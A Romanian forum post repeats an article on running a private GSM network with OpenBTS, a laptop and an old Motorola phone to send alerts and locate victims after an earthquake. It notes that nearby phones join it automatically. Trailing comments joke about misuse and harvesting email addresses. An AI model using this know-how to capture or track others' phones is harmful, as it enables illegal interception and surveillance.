[h=1]iLikeIT. Cum sa-ti creezi propria retea de telefonie mobila, ca sa ceri ajutor dupa un cutremur[/h]Dupa cum se stie, in cazul producerii unui cutremur cu magnitudine mare, cad retelele de electricitate si cele de telefonie. Si atunci, cum facem sa transmitem un mesaj de urgenta catre salvatori daca ramanem blocati intr-un loc? Solutia este destul de simpla si a fost prezentata la iLikeIT cu ajutorul lui Bogdan Alecu, specialist in securitate mobila. Mai multe detalii la adresa: http://www.m-sec.net Trebuie precizat de la bun inceput ca este ilegal sa va creati propria retea de telefonie mobila, iar aceasta solutie trebuie aplicata numai in cazuri de extrema urgenta. Aparatura de care aveti nevoie este urmatoarea: un laptop, un stick USB pe care se afla un soft special si un telefon simplu, indiferent de model si indiferent cat de vechi este acesta. In cazul in care nu mai exista retea de electricitate, laptopul il puteti folosi datorita bateriei incorporate. Telefonul se conecteaza la laptop cu ajutorul unui banal cablu de date. De asemenea, softul de pe stickul USB nu trebuie instalat, el poate fi rulat direct de pe dispozitivul mobil. Iata cateva detalii: 1. Sistemul de operare este Ubuntu, iar pe el a fost instalat softul care controleaza toata reteaua de telefonie. Acest soft se numeste OpenBTS si poate fi descarcat gratuit de la aceasta adresa. 2. Tot sistemul de operare a fost instalat pe un stick USB si a rulat de pe acesta 3. Intregul sistem poate fi configurat sa ruleze si sa porneasca automat, inclusiv de pe un notebook care nu este pretentios la cerinte (4GB RAM, port USB 2.0, procesor dual-core) Telefonul folosit pe post de statie emisie-receptie este un Motorola C123 conectat prin USB pe care OpenBTS incarca propriul firmware. Cu alte cuvinte, pe acest telefon se incarca un alt sistem de operare open-source, iar frecventa de emisie precum si celelalte informatii privind modalitatea de operare sunt controlate de catre OpenBTS. 4. Desigur ca, in locul acestui telefon, se poate utiliza o antena GSM cu amplificator, pentru a acoperi o suprafata mai mare. 5. Noua retea creata poate fi folosita atat pentru a trimite mesaje de avertizare, cat si in scop de localizare a eventualelor victime. Fiind o retea ce permite controlul total din partea utilizatorului, se poate folosi aceasta modalitate portabila pentru a localiza victimele. Astfel, se poate limita puterea de emisie, dar si distanta pe care emite (in pasi de cate 500m), iar in momentul in care un telefon nou se inregistreaza in retea, operatorul e instiintat de acest lucru. Astfel, reduci aria de cautare doar in acea zona limitata de pana in 500m. 6. Ca sa inteleaga toata lumea, ideea este urmatoarea: nu conteaza daca toti operatorii de telefonie mobila din Romania nu functioneaza in acel moment. In momentul in care va creati propria retea de telefonie, celelalte telefoane care se afla atunci in reteaua de acoperire vor vedea automat reteaua voastra proprie si se vor conecta la ea. 7. De asemenea, nu conteaza daca telefonul este codat intr-o anumita retea de telefonie: Vodafone, Orange, Cosmote sau Digi. Sursa si video: iLikeIT. Cum sa-ti creezi propria retea de telefonie mobila, ca sa ceri ajutor dupa un cutremur Asta se poate face util. Veniti voi cu idei pentru facut rahaturi

"from people's online email address books and instant messaging (IM) "buddy lists" Asta e urat si nu e legal. Insa de cele mai multe ori adresele de mail sunt facute prea publice.

Tutorial: "Cum sa iei ban"